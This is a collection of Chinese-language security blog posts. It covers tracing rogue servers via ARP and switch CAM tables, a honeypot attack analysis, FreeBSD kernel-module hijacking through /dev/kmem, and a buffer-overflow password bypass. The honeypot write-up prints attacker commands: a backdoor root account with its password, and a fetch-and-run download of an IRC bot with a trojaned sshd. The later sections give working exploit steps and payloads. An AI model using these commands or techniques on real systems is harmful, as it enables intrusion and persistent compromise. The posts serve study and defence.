Reply from 10.1.1.180: bytes=32 time<1ms TTL=255

Ping statistics for 10.1.1.180:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\>arp -a

Interface: 10.1.1.160 --- 0x2
  Internet Address      Physical Address      Type
  10.1.1.130          00-60-cf-20-b3-72     dynamic
  10.1.1.132          00-90-27-d0-8a-07     dynamic
  10.1.1.133          00-06-5b-3d-16-32     dynamic
  10.1.1.180          08-00-20-fd-c6-52     dynamic
  10.1.1.254          08-00-20-c3-9a-9e     dynamic

来自于Linux系统的输出看起来有点不同：

[root@netspy root]# arp -a
www.testlan.xyz (10.1.1.130) at 00:60:cf:20:b3:72 [ether] on eth0
dns.testlan.xyz (10.1.1.100) at 00:90:27:d0:8a:07 [ether] on eth0
mail.testlan.xyz (10.1.1.200) at 08:00:20:c3:9a:9e [ether] on eth0

但是信息仍然是相同的。

固定方式
如果作恶者这一令人发指的盗窃网络资源已经采取行动，只在机器上掩盖其非法活动和提供单一的服务，并且将不接受任何其他的连接，得到的任务更难。Ping测试将无法工作。正因为如此，你将不得不找其他途径来查找端口。很多人已确定该服务所提供的旗标，并确定由被动操作系统的指纹。

任意方式
一旦你有MAC地址，你可以登录交换机并追查主机。同样，你正追查目的地的一段行程，除非你是在同部分作为主机的问题。

一旦你登录到交换机，show cam dynamic命令将显示寻址存储器(CAM)在思科的CatOS交换机动态条目内容。更具体地说，它会显示你的硬件地址映射到交换机端口。CatIOS交换机，该命令将显示MAC。

思科系统控制台

Enter password:
Console> show cam dynamic
*=Static Entry. +=Permanent Entry. #=System Entry. R=Router Entry.
X=Port Security Entry $=Dot1x Security Entry

VLAN Dest MAC/Route Des [CoS] Destination Ports or VCs/ [Protocol Type]
---- ------------------ ----- ------------------------------------
592   00-b0-d0-ab-b7-40             3/15 [ALL]
590   00-b0-d0-ea-38-fc             4/16 [ALL]
592   00-04-75-c1-a2-6e             3/39 [ALL]
592   00-06-5b-3d-16-32             3/31 [ALL]
590   00-b0-d0-ea-3e-c4             4/16 [ALL]
590   00-b0-d0-fc-45-3d             3/37 [ALL]
590   08-00-20-e7-64-87             3/41 [ALL]
590   08-00-20-bf-b4-a2             3/48 [ALL]
590   00-06-2a-f9-03-04             4/13 [ALL]
592   08-00-20-c3-9a-9e             3/35 [ALL]
590   00-06-5b-84-28-34             4/13 [ALL]
592   02-01-00-00-00-01             4/7  [ALL]
590   00-b0-d0-ea-2a-ea             4/16 [ALL]
590   00-b0-d0-ea-2a-5e             4/16 [ALL]
592   00-01-02-6c-f4-58             3/45 [ALL]
592   00-01-02-6c-f4-48             4/3  [ALL]
592   00-01-02-6c-f4-d9             3/26 [ALL]
592   00-90-27-d0-8a-07             3/28 [ALL]
592   00-04-75-96-d8-35             4/6  [ALL]
592   00-04-75-96-d8-7d             3/22 [ALL]
592   00-04-75-96-d8-dc             3/5  [ALL]
592   00-04-75-96-d7-7b             4/6  [ALL]
Do you wish to continue y/n [n]? y

具备模块和端口号知识，我们可以着手追查连接到主机。有一种可能性，即追踪通向另一个片段部分的端口并且你将不得不再次从一开始启动这个程序。

这也将是一个很好的时间来查找MAC地址的提供商。有一个地方用来执行查找，它位于http://www.coffer.com/mac_find/，另一个是http://standards.ieee.org/regauth/oui/index.shtml。

这不一定会告诉关于你正在寻找的主机，但可以肯定，它有助于缩小这一领域，告诉你的NIC厂商或告诉你的供应商中的硬件问题。它也可以通知你接近的主机。例如，如果原来的MAC对于了一个上市的思科系统公司，并且你要找的主机在Linux上正运行着Apache，你会继续搜索，并采取行动，虽然你没有找到interloping主机，但你将一步一步接近你的目的地。

一旦完成，这一切仍然是微量的主机。这可能是一个棘手的问题，有时因为电缆可能会通过中心的捆绑、通过电缆盘上面的天花板或下面的地板。

追踪的尾声
我写这篇文章的目的是在你的网络和跟踪中找到一个未经授权的服务器以消除安全风险。如有错误、疑问等请写信息发送至我的Email --> Hack01[at]Live.cn

# Hacker NetSpy [Czy]
 __  __    ___      __   __   __    ____ _____      _____           _/\_    ___
/\ \/\ \ /' __`\  /'__`\/\ \ / /  /'____\\  _ `\   /\  __`\        /\_  _\ / __\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\ \  \ \ \/\ \     __\//\ \\/\ \___  _____   __  __
 \ \  _  \ \ \_\ \ \ \/_/_ \  _\ \ \  ___\ \  _ /   \ \ \ \ \  /'__`\\ \ \\ \___ \/\  _ `\/\ \/\ \
  \ \ \ \ \ \  _  \ \ \_\ \ \ \\`\  \ \____ \ \\`\   \ \ \ \ \/\  __/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
   \ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\ \_\  \ \_\ \_\ \____\ \ \__\/\____\ \  __/\ \____ \
    \/_/\/_/\/_/\/_/\/___/  \/_/\/_/\/_____/\/_/\/_/   \/_/\/_/\/____/  \/__/\/____/\ \ \/  \/ __/\ \
                                                                                     \ \_\    /\_____\
                                                                                      \/_/    \/_____/

蜜罐配置

攻击是OpenBSD机器（10.10.10.40）。我有两个蜜罐的机器。首先是我的Linksys有线路由器。本人配置有线路由器的方式是把所有通讯都放在我的非军事区（192.168.1.50）。一旦路由器没有，我已在Linux中运行使用iptables脚本的蜜网项目组制定。至于日志而言，我的蜜罐配置登录到我的远程日志服务器。我的远程日志服务器也被当作我的入侵检测系统。要确保我的入侵检测系统将不会受到任何Syslog上面的漏洞，我关闭所有入侵检测系统/syslog服务器上的所有端口，并运行以下命令：

iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
为了确保接收所有系统日志条目，我通常这么做。

时间安排

我决定运行OpenBSD蜜罐。为什么？因为我想尝试一下OpenBSD系统。我也希望看到一个OpenBSD系统OpenSSH守护服务在"野生"环境中将持续多久。令人惊讶的是，OpenBSD的机器与脆弱的OpenSSH守护服务持续了大约6个星期。

数据

在这6个星期中，我监测这个蜜罐，我看到许多扫描和一些试图破解的信息，但其中由于某种原因大多数都失败。
第一个数据包，使我相信我的蜜罐被一个来自一台机器IP地址xxx.xxx.xxx.xxx的三次握手攻击。让我们来看看这个三次握手：

信息1：初始连接到SSH

每当我看到任何数据包，我首先尝试要做的就是确定数据包来源于哪些操作系统。

上面的数据包我消除了一些重要数据。第一条数据，他似乎是使用Linux机器在进行特定的扫描。我如何实现这一结论？首先让我们考虑一些关键领域的TCP/IP头。第一件事情，我们要看看总长度，在初始同步中，我们看到的长度是60字节。这是典型的Linux内核，但我们需要更多的证据，以证实攻击机器是一个Linux机器。我们能够做到这一点要看其他领域中的TCP/IP协议头字段。下一个字段，我们将要看看外部的TCP选项领域。我们回看到，最初SYN攻击的最大区段大小(MSS)，sackOK，wscale，timestamp和nop。这种特征也普遍存在于Linux电脑上。

从最初的三次握手，我们有决心能够确定攻击者很可能使用的是Linux操作系统。现在我们要继续前进，并看看未来的一系列数据包：

信息2：ScanSSH

信息2是PUSH数据包向我的蜜罐发送28字节的有效载荷数据。在信息2中我们可以看到，攻击者正在使用某种形式的扫描器来扫描SSH。识别扫描器并不难，只需输入“SSH-1.0-SSH_Version_Mapper”到Google并且它会给出一个扫描器ScanSSH。

信息3：终止连接

信息3表明攻击者已经拿到了版本并现在终止连接。这种类型的行为不是特别明显，但后来我注意到攻击者连接到我的另一个蜜罐。信息4表明了三次握手：

信息4：重接

信息4显示了攻击者重新回到我的蜜罐。到现在为止，已经有许多IP地址扫描我多次，这个攻击者有其他事情要做。从信息5可以看到，我们可以确定他将尝试利用SSH守护在我的蜜罐：

信息5：攻击

让我们来看看信息5并学习这些数据包。让我们先看看第一个推送的数据包。数据包是68字节长度。它告诉我们，攻击者正在对蜜罐运行SSH - 2.0 GOBBLES并利用。

这个时候，我们看到刚才的TCP流量，让我们先看看来自通信系统记录的蜜罐。第一个数据包来自我的syslog服务器，如下所示：

信息6：Syslog日志条目

下一个信息，信息7，就是我们可以开始真正看到的，攻击者实际上已获取了root。

信息7：攻击者决定退出

刚刚收拾一些骚乱，信息7是不是一个完整的追踪，为了节省时间，我决定剪切和粘贴重要的数据包。

让我们看看数据包，信息7的第一个数据包表明，攻击者正在执行uname -a。命令uname -a在做什么？很多资料给出了uname -a攻击命令，针对计算机，如计算机名称、内核版本、处理器、操作系统、硬件平台上运行它。在第二个数据包中，我们可以看到，蜜罐对所有这些信息发送攻击。

最后，第三个数据包，我们的蜜罐攻击root权限。我们怎么知道呢？所有的Unix系统，工作的UID或者GID 0 是root。我们可以看到，被发送的是有效载荷的数据包。之后，他获得了root权限，攻击者检查了/etc/hosts这个文件，并认为该文件没有什么价值。

返回
在信息7表明攻击者离开了。在信息8表明，攻击者已经决定返回：

信息8：连接

信息8告诉我们，我们的攻击者已经在我的蜜罐前面。为何？首先，没有扫描sshd。我们的攻击者知道他想要什么服务。在早先的攻击中试图扫描，看看是哪个版本的OpenSSH运行。其次，攻击者知道自己想要什么以及如何获取它。

隐藏
信息9显示了攻击者如何掩盖并利用我的蜜罐：

uname -a;id
OpenBSD alligator25 3.0 GENERIC#94 i386
uid=0(root) gid=0(wheel) groups=0(wheel)
useradd -b /home/local -mov -g 0 -b /home -d /home/local -g 0 -u 0 -o
local
/home/local/.
/home/local/./.cshrc
/home/local/./.login
/home/local/./.mailrc
/home/local/./.profile
/home/local/./.rhosts
Command: /bin/mkdir -p /home/local
Command: cd /etc/skel; /bin/pax -rw -pe -v . /home/local
Command: /sbin/chown -R -P 0:0 /home/local
Command: /bin/chmod -R u+w /home/local
passwd local
New password:xeocage123

Retype new password:xeocage123

Changing local password for local.
信息9：隐藏

我们可以从信息9看到攻击者在突破蜜罐后做了些什么：

他创建了名为“local”的帐户；
他创建了/home/local；
他设置了“local”帐户密码xeocage123。

之后，攻击者在他的目录下创建了帐户并决定再次离开，他开始拆除一个FIN数据包。从这里你可以观察到TCP连接的行为，因为它采用了四握手拆除连接。

信息10: 疯狂冲刺

再次返回
另外，攻击者需要将近24小时后，再次回来来访问我的蜜罐。可以看看下面内容：

信息11: 多次返回

信息11向我们表明，攻击者已经决定回来。他进行三次握手，然后我从蜜罐中收到了以下信息：

信息12: 登录

信息12，来自于我的蜜罐，它表明攻击者已经成功使用SSH登录到我的蜜罐。图13显示我们的历史文件：

cd /etc/tcfs ; lynx -source
www.somewebsite.com/somedirectory/obsd/inetd > inetd ; chmod +x inetd ;
./inetd
ftp ftp.openbsd.org
tar -zxvf openssh-3.4.tgz
cd ssh
patch < /etc/tcfs/openbsd30_3.4.patch
lynx -source www.somewebsite.com/somedirectory/auth-passwd.c2 >
auth-passwd.c
make obj
make cleandir
make depend
make
make install
kill -9 `cat /var/run/sshd.pid` ; /usr/sbin/sshd
cd .. ; rm -rf ssh openssh-3.4.tgz openbsd30_3.4.patch
ssh localhost -l root
logout
信息13: 历史文件

攻击者接着进行www.somewebsite.com/somedirectory/并获取一个inetd文件。我发现一个IRC僵尸。安装后，他的僵尸开始攻击，他的收益走出了网站并开始下载验证auth-passwd.c2。然后，他修补了OpenSSH，因此没有人可以在他身后使用他的IRC。我监视到这个家伙和他的朋友运行着IRC，大约30分钟后，我实在不耐烦并决定拔掉了电源插座。

尾声
蜜罐可以教我们很多东西，比如如何分析数据流，但有一件事是我使用的是蜜罐的信息。你收集的资料，探讨攻击者的入侵是非常重要的。另外，如有其他问题请写信息发送至我(Czy)的Email --> Hack01[at]Live.cn

本博文的内容是FreeBSD操作系统上的加载内存模块（LKM）。
在这里提出了一个有趣的方法来劫持加载内存模块处理事件的代码。本博文是很容易的，但是你应该充分理解以下概念的内容：

        * 基本操作系统的概念
        * x86集合和C代码
        * 知道什么是/dev/kmem，并且如何才能使用
        * 了解关于FreeBSD的加载内存模块的知识

****] 0x02 FreeBSD的内存加载模块
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

一个可加载内存模块在操作系统中不是一个新概念。
一般来说这是一段代码，可以加载到内核内存进行扩展功能，在现有的内核代码或提供某种服务（设备驱动程序等）中实施新的功能。

最简单的方法是在内核空间中建立一个代码。它可以完全控制整个操作系统，它可以改变重要的数据结构或做其他恶意的事情。

****] 0x03 基本FreeBSD的内存加载模块
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

本博文不是一本FreeBSD内存加载模块的书籍，因此，我写的只是基本信息。最简单的FreeBSD的内核模块由3部分组成：

        * 事件处理程序
        * Moduledata结构
        * DECLARE_MODULE()宏

事件处理程序中定义的行动要进行针对某一特定事件，像LKM正在加载或卸载。

moduledata结构(<sys/module.h>)存储一些关于LKM的信息：
它的名字和指针事件处理函数。

DECLARE_MODULE() 宏是用来连结，并注册一个LKM的内核。

有了这方面的知识，我们可以写一个简单的内存加载模块，将用于lkm_sample.c（文章结尾即可获取代码存放链接）。

root@netspy# kldload ./lkm_sample.ko
Hello world
root@netspy# kldstat
Id Refs Address    Size     Name
 1   21 0xc0400000 3cd038   kernel
 2    6 0xc07ce000 1eed0    linux.ko
 3    1 0xc07ed000 3910     ulpt.ko
 4    1 0xc07f1000 5c340    acpi.ko
 5    1 0xc23a7000 6000     linprocfs.ko
 6    1 0xc2472000 2d000    pf.ko
 7    1 0xc2669000 6000     snd_csa.ko
 8    2 0xc267a000 1d000    sound.ko
 9    1 0xc27b7000 8000     vmmon_up.ko
10    1 0xc27c1000 2000     vmnet.ko
11    1 0xc27c4000 2000     rtc.ko
12    1 0xc2f4d000 2000     lkm_sample.ko
root@netspy# kldunload lkm_sample
Bye world
root@netspy# 

Ok，它完美地工作着，现在可以看到事件处理程序的样子了。

****] 0x04 事件处理程序的内幕
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

root@netspy# objdump -d ./lkm_sample.ko

./lkm_sample.ko:     file format elf32-i386-freebsd

Disassembly of section .text:

[..]

00000420 <printOwned>:
 420:   55                      push   %ebp
 421:   89 e5                   mov    %esp,%ebp
 423:   68 85 04 00 00          push   $0x485
 428:   e8 fc ff ff ff          call   429 <printOwned+0x9>
 42d:   c9                      leave
 42e:   c3                      ret
 42f:   90                      nop

[..]

00000430 <event_handler>:
 430:   55                      push   %ebp
 431:   89 e5                   mov    %esp,%ebp
 433:   53                      push   %ebx
 434:   8b 45 0c                mov    0xc(%ebp),%eax             <-- 处于EAX事件类型
 437:   31 db                   xor    %ebx,%ebx                  <-- EBX = 0
 439:   85 c0                   test   %eax,%eax                  <-- EAX == 0 (MOD_LOAD)?
 43b:   74 0f                   je     44c <event_handler+0x1c>   <-- 因此，转到printHello()
 43d:   48                      dec    %eax
 43e:   74 18                   je     458 <event_handler+0x28>   <-- EAX == 1 (MOD_UNLOAD)?
 440:   bb 2d 00 00 00          mov    $0x2d,%ebx
 445:   89 d8                   mov    %ebx,%eax
 447:   5b                      pop    %ebx
 448:   c9                      leave
 449:   c3                      ret
 44a:   89 f6                   mov    %esi,%esi
 44c:   e8 af ff ff ff          call   400 <printHello>
 451:   89 d8                   mov    %ebx,%eax
 453:   5b                      pop    %ebx
 454:   c9                      leave
 455:   c3                      ret
 456:   89 f6                   mov    %esi,%esi
 458:   e8 b3 ff ff ff          call   410 <printBye>
 45d:   89 d8                   mov    %ebx,%eax
 45f:   5b                      pop    %ebx
 460:   c9                      leave
 461:   c3                      ret

这个转储看起来很简单。

****] 0x05 调用跳转
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

在我们开始玩弄LKM的事件处理程序之前，您应该知道如何调用翻译好的机器代码。这很简单但很重要，所以不要忽略这个小部分。考虑下面的代码：

206: e8 f5 00 00 00    call 300
20B: b8 2f 14 00 00    mov $0x142f, %eax

当IP(Instruction pointer)到达206行，它将会跳转到代码300行。
0xE8代表呼叫指令，不管怎样0xf5000000不是0x300。很奇怪吗？
0x300 - 0x20B = 0xF5

****] 0x06 基本1-byte补丁
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

如果你仔细看lkm_sample.c代码，你会看到一个名为printOwned()函数。
它从来没有调用LKM全部，因此可以让LKM调用它。

我认为，我们的LKM执行两个事件：MOD_LOAD和MOD_UNLOAD。
当MOD_LOAD加载到内核的内存中，因此它不是一个很好的攻击媒介（我们要劫持同时运行的LKM）。可是你知道MOD_UNLOAD在哪儿修补吗？

修补458行并完美的工作着。

算法如下所示：

1. 找出核心内存“458行”
2. 修补 0xb3 到 0xc3 (0x420 - 0x45d)
3. 运行卸载模块的代码

代码执行的方法在basic_hijack.c。

root@netspy# kldload ./lkm_sample.ko
Hello world
root@netspy# kldunload lkm_sample
Bye world
root@netspy# gcc basic_hijack.c -o basic_hijack -lkvm
root@netspy# ./basic_hijack
[+]Patching code at 0xc2f50458
[*]Done, now unload the module to trigger the code :)
root@netspy# kldunload lkm_sample
You shouldnt see this message...Am I owned?!
root@netspy#

****] 0x07 高级手段
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

前面的例子不是很实际，因为我们在LKM内部代码是有局限性的。
所以，如何执行我们自己独立的代码呢？请看看0x07.a内容。

==] 0x07.a 核心内存分配
**************************************

分配核心内存的一般方法可以描述以下内容：

1. 查找一个syscall地址
2. 编写一个函数分配核心内存
3. 保存大小(our_function)字节的syscall
4. 覆盖我们的函数syscall
5. 调用syscall
6. 恢复syscall

分配核心内存代码在本博文的结尾处(allocuser.c) - 它不是我编写的！

==] 0x07.b 尾声
**************************************

执行我们的代码，需要做到以下几点：

1. 分配一些核心内存(allocuser.c code)
2. 把我们的代码进入分配内存状态
3. 跳出代码覆盖458行
4. 阻止内核崩溃

Advanced_hijack.c实施这一技术并强制LKM输出一个漂亮的字符串。
在这个阶段，你仅限于你的想象力，你可以执行每个代码。

root@netspy# kldload ./lkm_sample.ko
Hello world
root@netspy# kldunload lkm_sample
Bye world
root@netspy# ./allocuser 100
Address of kernel memory: 0xc2f46700
root@netspy# kldload ./lkm_sample.ko
Hello world
root@netspy# kldstat
Id Refs Address    Size     Name
 1   21 0xc0400000 3cd038   kernel
 2    6 0xc07ce000 1eed0    linux.ko
 3    1 0xc07ed000 3910     ulpt.ko
 4    1 0xc07f1000 5c340    acpi.ko
 5    1 0xc23a7000 6000     linprocfs.ko
 6    1 0xc2472000 2d000    pf.ko
 7    1 0xc2669000 6000     snd_csa.ko
 8    2 0xc267a000 1d000    sound.ko
 9    1 0xc27b7000 8000     vmmon_up.ko
10    1 0xc27c1000 2000     vmnet.ko
11    1 0xc27c4000 2000     rtc.ko
12    1 0xc2f80000 2000     lkm_sample.ko
root@netspy# gcc advanced_hijack.c -o advanced_hijack -lkvm
root@netspy# ./advanced_hijack
[+]Patching code at 0xc2f80458
[*]Done, unload the module to trigger the code :)
root@netspy# kldunload lkm_sample
WANNA BE A NINJA?
root@netspy# Done, game ov3r :)))

在本文中，劫持LKM是一个不错的并令人兴奋的技术。当然，它的使用是有限的。如果有其他问题请写信息发送至我（Czy）的Email --> Hack01[at]Live{dot}cn

****] 0x08 代码
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.esnips.com/doc/77d17161-fa93-4307-8812-a75f0b5cd680/劫持加载内存模块的处理事件_CODES

# Czy (Hack01[at]Live.cn)
 __  __    ___      __   __   __    ____ _____      _____           _/\_    ___
/\ \/\ \ /' __`\  /'__`\/\ \ / /  /'____\\  _ `\   /\  __`\        /\_  _\ / __\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\ \  \ \ \/\ \     __\//\ \\/\ \___  _____   __  __
 \ \  _  \ \ \_\ \ \ \/_/_ \  _\ \ \  ___\ \  _ /   \ \ \ \ \  /'__`\\ \ \\ \___ \/\  _ `\/\ \/\ \
  \ \ \ \ \ \  _  \ \ \_\ \ \ \\`\  \ \____ \ \\`\   \ \ \ \ \/\  __/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
   \ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\ \_\  \ \_\ \_\ \____\ \ \__\/\____\ \  __/\ \____ \
    \/_/\/_/\/_/\/_/\/___/  \/_/\/_/\/_____/\/_/\/_/   \/_/\/_/\/____/  \/__/\/____/\ \ \/  \/ __/\ \
                                                                                     \ \_\    /\_____\
                                                                                      \/_/    \/_____/

在本文中，我将演示如何对程序进行缓冲区溢出来覆盖验证。
首先，下面作为一个例子的源代码：
#include "stdio.h"
#include "stdlib.h"
void gestion()
{
fprintf(stdout,"You are in the system entitled\n");
exit(0);
}
int main(int argc, char *argv[])
{
char pwd[10];
printf("Password: ");
scanf("%s", &pwd);
if(!strcmp(pwd, "loca01"))
{ gestion(); }
else{
fprintf(stderr,"Password invalide!\n"); }
return 0;
}
然后，我们会看到脆弱的scanf()，因为它正在等待键盘输入，并将其存储在变量pwd中，这是一个10字节或10个字符的数组。所以，如果存放14个字节，覆盖ebp。如果存储18个字节，以便eip被覆盖。

如何通过密码验证？

(gdb) disass main
Dump of assembler code for function main:
0x0804851b <main+0>: push %ebp
0x0804851c <main+1>: mov %esp,%ebp
0x0804851e <main+3>: sub $0x1c,%esp
0x08048521 <main+6>: movl $0x804867b,(%esp)
0x08048528 <main+13>: call 0x80483f0 <printf@plt>
0x0804852d <main+18>: lea 0xa(%ebp),%eax
0x08048530 <main+21>: mov %eax,0x4(%esp)
0x08048534 <main+25>: movl $0x8048686,(%esp)
0x0804853b <main+32>: call 0x80483e0 <scanf@plt>
0x08048540 <main+37>: movl $0x8048689,0x4(%esp)
0x08048548 <main+45>: lea 0xa(%ebp),%eax
0x0804854b <main+48>: mov %eax,(%esp)
0x0804854e <main+51>: call 0x8048410 <strcmp@plt>  //这里调用strcmp函数
0x08048553 <main+56>: test %eax,%eax  //测试密码
0x08048555 <main+58>: jne 0x804855e <main+67>  //如果密码错误，跳转到0x804855e
0x08048557 <main+60>: call 0x80484e4 <gestion>
0x0804855c <main+65>: jmp 0x8048583 <main+104>
0x0804855e <main+67>: mov 0x804a040,%eax
0x08048563 <main+72>: mov %eax,0xc(%esp)
0x08048567 <main+76>: movl $0x13,0x8(%esp)
0x0804856f <main+84>: movl $0x1,0x4(%esp)
0x08048577 <main+92>: movl $0x804868e,(%esp)
0x0804857e <main+99>: call 0x8048400 <fwrite@plt>
0x08048583 <main+104>:mov $0x0,%eax
0x08048588 <main+109>:leave
0x08048589 <main+110>:ret
End of assembler dump.

(gdb) r
Starting program: /home/netspy/all/prog/c/buffer/gestion/main
Password: aaaaaaaaaaaaaa
Password invalide!
Program received signal SIGSEGV, Segmentation fault.
0xb7eff606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax 0x0 0
ecx 0x13 19
edx 0xb80440dc 1207680804
ebx 0xb8042ff4 1207685132
esp 0xbfa74f80 0xbfa74f80
ebp 0x61616161 0x61616161
esi 0x80485a0 134514080
edi 0x8048430 134513712
eip 0xb7eff606 0xb7eff606 <__libc_start_main+102>
eflags 0x10202 [ IF RF ]
[...]

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/netspy/all/prog/c/buffer/gestion/main
Password: aaaaaaaaaaaaaaaaaa
Password invalide!

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()   //eip不知道指向哪里
(gdb) i r
eax 0x0 0
ecx 0x13 19
edx 0xb80920dc 1207361316
ebx 0xb8090ff4 1207365644
esp 0xbf9c46d0 0xbf9c46d0
ebp 0x61616161 0x61616161
esi 0x80485a0 134514080
edi 0x8048430 134513712
eip 0x61616161 0x61616161
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

最终，我们在控制台执行：
netspy@laptop:~/$
echo e
"aaaaaaaaaaaaaa\xe4\x84\x04\x08" | ./main
Password invalide!
Password: You are in the system entitled
netspy@laptop:~/$

# Czy (Hack01[at]Live.cn)
 __  __    ___      __   __   __    ____ _____      _____           _/\_    ___
/\ \/\ \ /' __`\  /'__`\/\ \ / /  /'____\\  _ `\   /\  __`\        /\_  _\ / __\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\ \  \ \ \/\ \     __\//\ \\/\ \___  _____   __  __
 \ \  _  \ \ \_\ \ \ \/_/_ \  _\ \ \  ___\ \  _ /   \ \ \ \ \  /'__`\\ \ \\ \___ \/\  _ `\/\ \/\ \
  \ \ \ \ \ \  _  \ \ \_\ \ \ \\`\  \ \____ \ \\`\   \ \ \ \ \/\  __/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
   \ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\ \_\  \ \_\ \_\ \____\ \ \__\/\____\ \  __/\ \____ \
    \/_/\/_/\/_/\/_/\/___/  \/_/\/_/\/_____/\/_/\/_/   \/_/\/_/\/____/  \/__/\/____/\ \ \/  \/ __/\ \
                                                                                     \ \_\    /\_____\
                                                                                      \/_/    \/_____/